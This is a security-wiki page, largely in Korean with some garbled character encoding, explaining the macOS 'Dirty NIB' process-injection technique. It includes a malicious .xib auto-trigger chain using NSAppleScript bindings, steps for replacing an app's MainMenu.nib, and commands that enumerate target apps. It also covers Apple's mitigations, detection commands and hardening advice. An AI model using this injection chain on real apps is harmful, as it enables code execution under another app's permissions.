macOS Dirty NIB

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Dirty NIB๋Š” ์„œ๋ช…๋œ macOS ์•ฑ ๋ฒˆ๋“ค ๋‚ด๋ถ€์˜ Interface Builder ํŒŒ์ผ(.xib/.nib)์„ ์•…์šฉํ•ด ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋กœ์ง์„ ์‹คํ–‰ํ•˜๊ณ , ๊ทธ ๊ฒฐ๊ณผ ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค์˜ entitlements ๋ฐ TCC ๊ถŒํ•œ์„ ์ƒ์†๋ฐ›๋Š” ๊ธฐ๋ฒ•์„ ๋งํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์€ ์›๋ž˜ xpn (MDSec)์ด ๋ฌธ์„œํ™”ํ–ˆ์œผ๋ฉฐ, ์ดํ›„ Sector7์ด ์ด๋ฅผ ์ผ๋ฐ˜ํ™”ํ•˜๊ณ  ํฌ๊ฒŒ ํ™•์žฅํ•˜๋ฉด์„œ macOS 13 Ventura์™€ macOS 14 Sonoma์—์„œ Apple์ด ๋„์ž…ํ•œ ์™„ํ™”์ฑ…๋„ ๋‹ค๋ค˜์Šต๋‹ˆ๋‹ค. ๋ฐฐ๊ฒฝ๊ณผ ์‹ฌ์ธต ๋ถ„์„์€ ๋ฌธ์„œ ๋์˜ ์ฐธ์กฐ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

TL;DR โ€ข Before macOS 13 Ventura: ๋ฒˆ๋“ค์˜ MainMenu.nib(๋˜๋Š” ์‹œ์ž‘ ์‹œ ๋กœ๋“œ๋˜๋Š” ๋‹ค๋ฅธ nib)๋ฅผ ๊ต์ฒดํ•˜๋ฉด process injection์„ ์•ˆ์ •์ ์œผ๋กœ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ์ข…์ข… privilege escalation์œผ๋กœ ์ด์–ด์กŒ์Šต๋‹ˆ๋‹ค. โ€ข Since macOS 13 (Ventura) and improved in macOS 14 (Sonoma): firstโ€‘launch deep verification, bundle protection, Launch Constraints, ๋ฐ ์ƒˆ๋กœ์šด TCC โ€œApp Managementโ€ ๊ถŒํ•œ์œผ๋กœ ์ธํ•ด ๊ด€๋ จ ์—†๋Š” ์•ฑ์ด ์‹คํ–‰ ํ›„ nib์„ ๋ณ€์กฐํ•˜๋Š” ๊ฒƒ์ด ๋Œ€๋ถ€๋ถ„ ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ๋™์ผ ๊ฐœ๋ฐœ์ž(tooling)๊ฐ€ ์ž์ฒด ์•ฑ์„ ์ˆ˜์ •ํ•˜๋Š” ๊ฒฝ์šฐ๋‚˜ ์‚ฌ์šฉ์ž๊ฐ€ ํ„ฐ๋ฏธ๋„์— App Management/Full Disk Access๋ฅผ ๋ถ€์—ฌํ•œ ๊ฒฝ์šฐ ๋“ฑ ์ผ๋ถ€ ํ‹ˆ์ƒˆ ์ƒํ™ฉ์—์„œ๋Š” ๊ณต๊ฒฉ์ด ์—ฌ์ „ํžˆ ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

What are NIB/XIB files

Nib (short for NeXT Interface Builder) ํŒŒ์ผ์€ AppKit ์•ฑ์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ง๋ ฌํ™”๋œ UI ๊ฐ์ฒด ๊ทธ๋ž˜ํ”„์ž…๋‹ˆ๋‹ค. ์ตœ์‹  Xcode๋Š” ํŽธ์ง‘ ๊ฐ€๋Šฅํ•œ XML .xib ํŒŒ์ผ์„ ์ €์žฅํ•˜๋ฉฐ, ๋นŒ๋“œ ์‹œ ์ด๋ฅผ .nib๋กœ ์ปดํŒŒ์ผํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์•ฑ์€ NSApplicationMain()์„ ํ†ตํ•ด ๋ฉ”์ธ UI๋ฅผ ๋กœ๋“œํ•˜๋ฉฐ, ์ด ํ•จ์ˆ˜๋Š” ์•ฑ์˜ Info.plist์—์„œ NSMainNibFile ํ‚ค๋ฅผ ์ฝ์–ด ๋Ÿฐํƒ€์ž„์— ๊ฐ์ฒด ๊ทธ๋ž˜ํ”„๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•ฉ๋‹ˆ๋‹ค.

Key points that enable the attack:

  • NIB loading์€ NSSecureCoding์„ ์ค€์ˆ˜ํ•  ๊ฒƒ์„ ์š”๊ตฌํ•˜์ง€ ์•Š๊ณ  ์ž„์˜์˜ Objectiveโ€‘C ํด๋ž˜์Šค๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (Apple์˜ nib loader๋Š” initWithCoder:๊ฐ€ ์—†์„ ๋•Œ init/initWithFrame:์œผ๋กœ ํด๋ฐฑํ•ฉ๋‹ˆ๋‹ค).
  • Cocoa Bindings๋Š” nib๊ฐ€ ์ธ์Šคํ„ด์Šคํ™”๋  ๋•Œ ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•˜๋„๋ก ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์—†์ด๋„ ๋™์ž‘ํ•˜๋Š” ์—ฐ์‡„ ํ˜ธ์ถœ(chained calls)์„ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Dirty NIB injection process (attacker view)

๊ณ ์ „์ ์ธ preโ€‘Ventura ํ๋ฆ„:

  1. Create a malicious .xib
  • Add an NSAppleScript object (or other โ€œgadgetโ€ classes such as NSTask).
  • Add an NSTextField whose title contains the payload (e.g., AppleScript or command arguments).
  • Add one or more NSMenuItem objects wired via bindings to call methods on the target object.
  1. Autoโ€‘trigger without user clicks
  • ๋ฐ”์ธ๋”ฉ์„ ์‚ฌ์šฉํ•ด ๋ฉ”๋‰ด ์•„์ดํ…œ์˜ target/selector๋ฅผ ์„ค์ •ํ•œ ๋‹ค์Œ ๋น„๊ณต๊ฐœ ๋ฉ”์„œ๋“œ _corePerformAction์„ ํ˜ธ์ถœํ•˜์—ฌ nib ๋กœ๋“œ ์‹œ ์•ก์…˜์ด ์ž๋™์œผ๋กœ ์‹คํ–‰๋˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•  ํ•„์š”๊ฐ€ ์—†์–ด์ง‘๋‹ˆ๋‹ค.

Minimal example of an autoโ€‘trigger chain inside a .xib (abridged for clarity):

<objects>
<customObject id="A1" customClass="NSAppleScript"/>
<textField id="A2" title="display dialog \"PWND\""/>
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
<menuItem id="C1">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="initWithSource:"/>
<binding name="Argument" destination="A2" keyPath="title"/>
</connections>
</menuItem>
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
<menuItem id="C2">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="executeAndReturnError:"/>
</connections>
</menuItem>
<!-- Triggers that autoโ€‘press the above menu items at load time -->
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
</objects>

์ด๋กœ์จ nib ๋กœ๋“œ ์‹œ ๋Œ€์ƒ ํ”„๋กœ์„ธ์Šค์—์„œ ์ž„์˜์˜ AppleScript ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค. ๊ณ ๊ธ‰ ์ฒด์ธ์€ ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

  • ์ž„์˜์˜ AppKit ํด๋ž˜์Šค(์˜ˆ: NSTask)๋ฅผ ์ธ์Šคํ„ด์Šคํ™”ํ•˜๊ณ  -launch ๊ฐ™์€ ์ธ์ˆ˜ ์—†๋Š” ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.
  • ์œ„์˜ binding trick์„ ํ†ตํ•ด ๊ฐ์ฒด ์ธ์ˆ˜๋ฅผ ๊ฐ€์ง„ ์ž„์˜์˜ selector๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.
  • AppleScriptObjC.framework๋ฅผ ๋กœ๋“œํ•ด Objectiveโ€‘C๋กœ ๋ธŒ๋ฆฌ์ง€ํ•˜๊ณ  ์„ ํƒ๋œ C API๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜๋„ ์žˆ๋‹ค.
  • ์—ฌ์ „ํžˆ Python.framework๋ฅผ ํฌํ•จํ•˜๋Š” ๊ตฌํ˜• ์‹œ์Šคํ…œ์—์„œ๋Š” Python์œผ๋กœ ๋ธŒ๋ฆฌ์ง€ํ•œ ๋‹ค์Œ ctypes๋กœ ์ž„์˜์˜ C ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค (Sector7โ€™s research).
  1. ์•ฑ์˜ nib ๊ต์ฒด
  • target.app์„ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜๋กœ ๋ณต์‚ฌํ•˜๊ณ , ์˜ˆ๋ฅผ ๋“ค์–ด Contents/Resources/MainMenu.nib์„ ์•…์„ฑ nib์œผ๋กœ ๊ต์ฒดํ•œ ๋‹ค์Œ target.app์„ ์‹คํ–‰ํ•œ๋‹ค. Preโ€‘Ventura์—์„œ๋Š” ์ผํšŒ์„ฑ Gatekeeper ํ‰๊ฐ€ ์ดํ›„ ํ›„์† ์‹คํ–‰ ์‹œ ์–•์€ ์„œ๋ช… ๊ฒ€์‚ฌ๋งŒ ์ˆ˜ํ–‰๋˜์–ด ๋น„์‹คํ–‰ ๋ฆฌ์†Œ์Šค(์˜ˆ: .nib)๋Š” ์žฌ๊ฒ€์ฆ๋˜์ง€ ์•Š์•˜๋‹ค.

Example AppleScript payload for a visible test:

set theDialogText to "PWND"
display dialog theDialogText

์ตœ์‹  macOS ๋ณดํ˜ธ ๊ธฐ๋Šฅ (Ventura/Monterey/Sonoma/Sequoia)

Apple์€ ํ˜„๋Œ€ macOS์—์„œ Dirty NIB์˜ ์‹คํšจ์„ฑ์„ ํฌ๊ฒŒ ์ค„์ด๋Š” ์—ฌ๋Ÿฌ ์ „๋ฐ˜์ ์ธ ์™„ํ™”์ฑ…์„ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค:

  • Firstโ€‘launch deep verification and bundle protection (macOS 13 Ventura)
  • ์•ฑ์ด ์ฒ˜์Œ ์‹คํ–‰๋  ๋•Œ(๊ฒฉ๋ฆฌ(quarantined) ์—ฌ๋ถ€์™€ ๊ด€๊ณ„์—†์ด), ๋ฒˆ๋“ค์˜ ๋ชจ๋“  ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•ด ์‹ฌ์ธต ์„œ๋ช… ๊ฒ€์‚ฌ๊ฐ€ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ์ดํ›„ ๋ฒˆ๋“ค์€ ๋ณดํ˜ธ ์ƒํƒœ๊ฐ€ ๋˜์–ด ๋™์ผ ๊ฐœ๋ฐœ์ž(๋˜๋Š” ์•ฑ์—์„œ ๋ช…์‹œ์ ์œผ๋กœ ํ—ˆ์šฉํ•œ ๊ฒฝ์šฐ)์˜ ์•ฑ๋งŒ ๋ฒˆ๋“ค ๋‚ด์šฉ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์•ฑ์ด ๋‹ค๋ฅธ ์•ฑ์˜ ๋ฒˆ๋“ค์— ์“ฐ๊ธฐํ•˜๋ ค๋ฉด ์ƒˆ๋กœ์šด TCC โ€œApp Managementโ€ ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • Launch Constraints (macOS 13 Ventura)
  • System/Appleโ€‘bundled ์•ฑ์€ ๋‹ค๋ฅธ ์œ„์น˜๋กœ ๋ณต์‚ฌํ•˜์—ฌ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” OS ์•ฑ์— ๋Œ€ํ•ด โ€œcopy to /tmp, patch, runโ€ ๋ฐฉ์‹์˜ ์ ‘๊ทผ์„ ๋ฌด๋ ฅํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • Improvements in macOS 14 Sonoma
  • Apple์€ App Management๋ฅผ ๊ฐ•ํ™”ํ•˜๊ณ  Sector7์ด ์ง€์ ํ•œ ์•Œ๋ ค์ง„ ์šฐํšŒ ๊ธฐ๋ฒ•๋“ค(์˜ˆ: CVEโ€‘2023โ€‘40450)์„ ์ˆ˜์ •ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ Python.framework๋Š” ์ด์ „(macOS 12.3)์—์„œ ์ œ๊ฑฐ๋˜์–ด ์ผ๋ถ€ ๊ถŒํ•œ ์ƒ์Šน ์ฒด์ธ์„ ๊นจ๋œจ๋ ธ์Šต๋‹ˆ๋‹ค.
  • Gatekeeper/Quarantine changes
  • ์ด ๊ธฐ๋ฒ•์— ์˜ํ–ฅ์„ ์ค€ Gatekeeper, provenance ๋ฐ assessment ๋ณ€๊ฒฝ ์‚ฌํ•ญ์— ๋Œ€ํ•œ ๋” ๊ด‘๋ฒ”์œ„ํ•œ ๋…ผ์˜๋Š” ์•„๋ž˜ ์ฐธ์กฐ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค.

Practical implication โ€ข Ventura ์ด์ƒ์—์„œ๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ App Management ๊ถŒํ•œ์„ ๊ฐ–๊ณ  ์žˆ๊ฑฐ๋‚˜ ๋Œ€์ƒ๊ณผ ๋™์ผํ•œ Team ID๋กœ ์„œ๋ช…๋˜์ง€ ์•Š๋Š” ํ•œ, ์ผ๋ฐ˜์ ์œผ๋กœ ํƒ€์‚ฌ ์•ฑ์˜ .nib๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค(์˜ˆ: ๊ฐœ๋ฐœ์ž ๋„๊ตฌ). โ€ข ์‰˜/ํ„ฐ๋ฏธ๋„์— App Management ๋˜๋Š” Full Disk Access๋ฅผ ๋ถ€์—ฌํ•˜๋ฉด ํ•ด๋‹น ํ„ฐ๋ฏธ๋„์˜ ์ปจํ…์ŠคํŠธ ๋‚ด์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๊ฒƒ์ด ์ด ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ์‚ฌ์‹ค์ƒ ๋‹ค์‹œ ์—ด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Launch Constraints ๋Œ€์‘

Launch Constraints๋Š” Ventura๋ถ€ํ„ฐ ๊ธฐ๋ณธ ์œ„์น˜๊ฐ€ ์•„๋‹Œ ๊ณณ์—์„œ ๋งŽ์€ Apple ์•ฑ์˜ ์‹คํ–‰์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. Apple ์•ฑ์„ ์ž„์‹œ ๋””๋ ‰ํ† ๋ฆฌ๋กœ ๋ณต์‚ฌํ•˜๊ณ , MainMenu.nib๋ฅผ ์ˆ˜์ •ํ•œ ๋’ค ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ preโ€‘Ventura ์›Œํฌํ”Œ๋กœ์— ์˜์กดํ–ˆ๋‹ค๋ฉด, macOS >= 13.0์—์„œ๋Š” ์‹คํŒจํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒํ•˜์„ธ์š”.

๋Œ€์ƒ ๋ฐ nib ์—ด๊ฑฐ (์—ฐ๊ตฌ / ๋ ˆ๊ฑฐ์‹œ ์‹œ์Šคํ…œ์— ์œ ์šฉ)

  • UI๊ฐ€ nibโ€‘driven์ธ ์•ฑ ์ฐพ๊ธฐ:
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
  • ๋ฒˆ๋“ค ๋‚ด๋ถ€์—์„œ ํ›„๋ณด nib ๋ฆฌ์†Œ์Šค๋ฅผ ์ฐพ๊ธฐ:
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
  • ์ฝ”๋“œ ์„œ๋ช…์„ ๊นŠ์ด ๊ฒ€์ฆํ•˜์„ธ์š”(๋ฆฌ์†Œ์Šค๋ฅผ ๋ณ€๊ฒฝํ–ˆ๊ณ  ๋‹ค์‹œ ์„œ๋ช…ํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค):
codesign --verify --deep --strict --verbose=4 target.app

์ฐธ๊ณ : ์ตœ์‹  macOS์—์„œ๋Š” ์ ์ ˆํ•œ ๊ถŒํ•œ ์—†์ด ๋‹ค๋ฅธ ์•ฑ์˜ ๋ฒˆ๋“ค์— ์“ฐ๊ธฐ๋ฅผ ์‹œ๋„ํ•˜๋ฉด bundle protection/TCC์— ์˜ํ•ด ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค.

ํƒ์ง€ ๋ฐ DFIR ํŒ

  • ๋ฒˆ๋“ค ๋ฆฌ์†Œ์Šค์˜ ํŒŒ์ผ ๋ฌด๊ฒฐ์„ฑ ๋ชจ๋‹ˆํ„ฐ๋ง
  • ์„ค์น˜๋œ ์•ฑ์˜ Contents/Resources/*.nib ๋ฐ ๊ธฐํƒ€ ๋น„์‹คํ–‰ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ mtime/ctime ๋ณ€๊ฒฝ ๊ฐ์‹œ
  • ํ†ตํ•ฉ ๋กœ๊ทธ ๋ฐ ํ”„๋กœ์„ธ์Šค ๋™์ž‘
  • GUI ์•ฑ ๋‚ด๋ถ€์—์„œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ AppleScript ์‹คํ–‰ ๋ฐ AppleScriptObjC ๋˜๋Š” Python.framework์„ ๋กœ๋“œํ•˜๋Š” ํ”„๋กœ์„ธ์Šค ๊ฐ์‹œ. ์˜ˆ:
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
  • ์‚ฌ์ „ ์ ๊ฒ€
  • ์ค‘์š”ํ•œ ์•ฑ์— ๋Œ€ํ•ด ์ฃผ๊ธฐ์ ์œผ๋กœ codesign --verify --deep๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ฆฌ์†Œ์Šค๊ฐ€ ์˜จ์ „ํ•œ์ง€ ํ™•์ธ
  • ๊ถŒํ•œ ์ปจํ…์ŠคํŠธ
  • ๋ˆ„๊ฐ€/๋ฌด์—‡์ด TCC์˜ โ€œApp Managementโ€ ๋˜๋Š” Full Disk Access ๊ถŒํ•œ์„ ๊ฐ–๊ณ  ์žˆ๋Š”์ง€ ๊ฐ์‚ฌ(ํŠนํžˆ ํ„ฐ๋ฏธ๋„๊ณผ ๊ด€๋ฆฌ ์—์ด์ „ํŠธ). ์ผ๋ฐ˜โ€‘๋ชฉ์  ์…ธ์—์„œ ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ์ œ๊ฑฐํ•˜๋ฉด ์‰ฝ๊ฒŒ Dirty NIBโ€‘์Šคํƒ€์ผ ๋ณ€์กฐ๋ฅผ ์žฌํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Œ

๋ฐฉ์–ด์  ํ•˜๋“œ๋‹ (๊ฐœ๋ฐœ์ž ๋ฐ ๋ฐฉ์–ด ๋‹ด๋‹น์ž)

  • ๊ฐ€๋Šฅํ•˜๋ฉด ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๋ฐฉ์‹ UI๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ nib์—์„œ ์ธ์Šคํ„ด์Šคํ™”๋˜๋Š” ๊ฒƒ์„ ์ œํ•œํ•˜์„ธ์š”. nib ๊ทธ๋ž˜ํ”„์— ๊ฐ•๋ ฅํ•œ ํด๋ž˜์Šค(์˜ˆ: NSTask)๋ฅผ ํฌํ•จํ•˜์ง€ ๋ง๊ณ  ์ž„์˜ ๊ฐ์ฒด์— ๋Œ€ํ•ด ์…€๋ ‰ํ„ฐ๋ฅผ ๊ฐ„์ ‘ ํ˜ธ์ถœํ•˜๋Š” ๋ฐ”์ธ๋”ฉ์„ ํ”ผํ•˜์„ธ์š”.
  • Library Validation์ด ์ ์šฉ๋œ hardened runtime ์ฑ„ํƒ(ํ˜„๋Œ€ ์•ฑ์—์„œ๋Š” ์ด๋ฏธ ํ‘œ์ค€). ์ด๊ฒƒ๋งŒ์œผ๋กœ nib injection์„ ๋ง‰์„ ์ˆ˜๋Š” ์—†์ง€๋งŒ, ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ์˜ ์‰ฌ์šด ๋กœ๋“œ๋ฅผ ์ฐจ๋‹จํ•ด ๊ณต๊ฒฉ์ž๋ฅผ ์Šคํฌ๋ฆฝํŠธ ์ „์šฉ ํŽ˜์ด๋กœ๋“œ๋กœ ๋ฐ€์–ด๋„ฃ์Šต๋‹ˆ๋‹ค.
  • ์ผ๋ฐ˜ ๋ชฉ์  ๋„๊ตฌ์—์„œ ๊ด‘๋ฒ”์œ„ํ•œ App Management ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๊ฑฐ๋‚˜ ์˜์กดํ•˜์ง€ ๋งˆ์„ธ์š”. MDM์ด App Management๋ฅผ ์š”๊ตฌํ•˜๋Š” ๊ฒฝ์šฐ, ํ•ด๋‹น ์ปจํ…์ŠคํŠธ๋ฅผ ์‚ฌ์šฉ์ž ์ฃผ๋„์˜ ์‰˜๊ณผ ๋ถ„๋ฆฌํ•˜์„ธ์š”.
  • ์•ฑ ๋ฒˆ๋“ค์˜ ๋ฌด๊ฒฐ์„ฑ์„ ์ •๊ธฐ์ ์œผ๋กœ ๊ฒ€์ฆํ•˜๊ณ  ์—…๋ฐ์ดํŠธ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ๋ฒˆ๋“ค ๋ฆฌ์†Œ์Šค๋ฅผ ์ž๋™ ๋ณต๊ตฌ(selfโ€‘heal)ํ•˜๋„๋ก ๋งŒ๋“œ์„ธ์š”.

Learn more about Gatekeeper, quarantine and provenance changes that affect this technique:

macOS Gatekeeper / Quarantine / XProtect

์ฐธ๊ณ  ์ž๋ฃŒ

  • xpn โ€“ DirtyNIB (์›๋ณธ ์„ค๋ช…, Pages ์˜ˆ์‹œ): https://blog.xpnsec.com/dirtynib/
  • Sector7 โ€“ Bringing process injection into view(s): nib ํŒŒ์ผ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ชจ๋“  macOS ์•ฑ์„ ์•…์šฉํ•˜๊ธฐ (April 5, 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ